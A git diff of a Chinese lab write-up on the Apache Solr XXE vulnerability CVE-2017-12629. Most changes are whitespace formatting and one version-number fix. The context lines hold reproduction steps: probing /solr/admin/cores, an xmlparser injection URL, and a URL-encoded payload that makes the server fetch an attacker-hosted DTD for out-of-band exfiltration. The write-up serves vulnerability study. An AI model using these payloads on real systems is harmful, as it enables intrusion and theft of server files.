diff --git a/中间件漏洞/Apache Solr XML 实体注入漏洞 CVE-2017-12629.md b/中间件漏洞/Apache Solr XML 实体注入漏洞 CVE-2017-12629.md index c15baa1..ab63145 100644 --- a/中间件漏洞/Apache Solr XML 实体注入漏洞 CVE-2017-12629.md +++ b/中间件漏洞/Apache Solr XML 实体注入漏洞 CVE-2017-12629.md @@ -7,32 +7,32 @@ - https://www.exploit-db.com/exploits/43009/ - https://paper.seebug.org/425/ -Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。原理大致是文档通过Http利用XML加到一个搜索集合中。查询该集合也是通过 http收到一个XML/JSON响应来实现。此次7.1.0之前版本总共爆出两个漏洞:XML实体扩展漏洞(XXE)和远程命令执行漏洞(RCE),二者可以连接成利用链,编号均为CVE-2017-12629。 +Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。原理大致是文档通过 Http 利用 XML 加到一个搜索集合中。查询该集合也是通过 http 收到一个 XML/JSON 响应来实现。此次 7.1.0 之前版本总共爆出两个漏洞:XML 实体扩展漏洞(XXE)和远程命令执行漏洞(RCE),二者可以连接成利用链,编号均为 CVE-2017-12629。 -本环境仅测试XXE漏洞,RCE和利用链,可以在 https://github.com/vulhub/vulhub/tree/master/solr/CVE-2017-12629-RCE 中查看。 +本环境仅测试 XXE 漏洞,RCE 和利用链,可以在 https://github.com/vulhub/vulhub/tree/master/solr/CVE-2017-12629-RCE 中查看。 ## 漏洞影响 ``` Apache Solr < 7.1 -Apache Lucene < 7. +Apache Lucene < 7.1 ``` ## 环境搭建 -Vulhub运行漏洞环境: +Vulhub 运行漏洞环境: ``` docker-compose up -d ``` -命令执行成功后,需要等待一会,之后访问`http://your-ip:8983/`即可查看到Apache solr的管理页面,无需登录。 +命令执行成功后,需要等待一会,之后访问 `http://your-ip:8983/` 即可查看到 Apache solr 的管理页面,无需登录。 ![image-20220301105333970](images/202203011053067.png) ## 漏洞复现 -先请求url地址获取 cores 内容: +先请求 url 地址获取 cores 内容: ``` http://your-ip:8983/solr/admin/cores @@ -40,9 +40,7 @@ http://your-ip:8983/solr/admin/cores ![image-20220301105955851](images/202203011059940.png) - - -访问dnslog,验证漏洞是否存在(注意这里的`demo`是从上一步中得到的): +访问 dnslog,验证漏洞是否存在(注意这里的 `demo` 是从上一步中得到的): ```plain http://your-ip:8983/solr/demo/select?q={!xmlparser v=''}&wt=xml @@ -50,11 +48,11 @@ http://your-ip:8983/solr/demo/select?q={!xmlparser v=' @@ -72,9 +70,9 @@ http://your-ip:8983/solr/demo/select?&q=%3C%3fxml+version%3d%221.0%22+%3f%3E%3C! ![image-20220301110950324](images/202203011109416.png) -注意这里的payload进行了url编码,请求的文件为`http://your.domain/solr_xxe.dtd`,有更多需求自行更改写入的xml文件。 +注意这里的 payload 进行了 url 编码,请求的文件为 `http://your.domain/solr_xxe.dtd`,有更多需求自行更改写入的 xml 文件。 -## 漏洞POC +## 漏洞 POC ``` # solr_xxe.dtd @@ -142,4 +140,3 @@ if __name__ == '__main__': ``` ![image-20220210161443057](images/202203011056712.png) -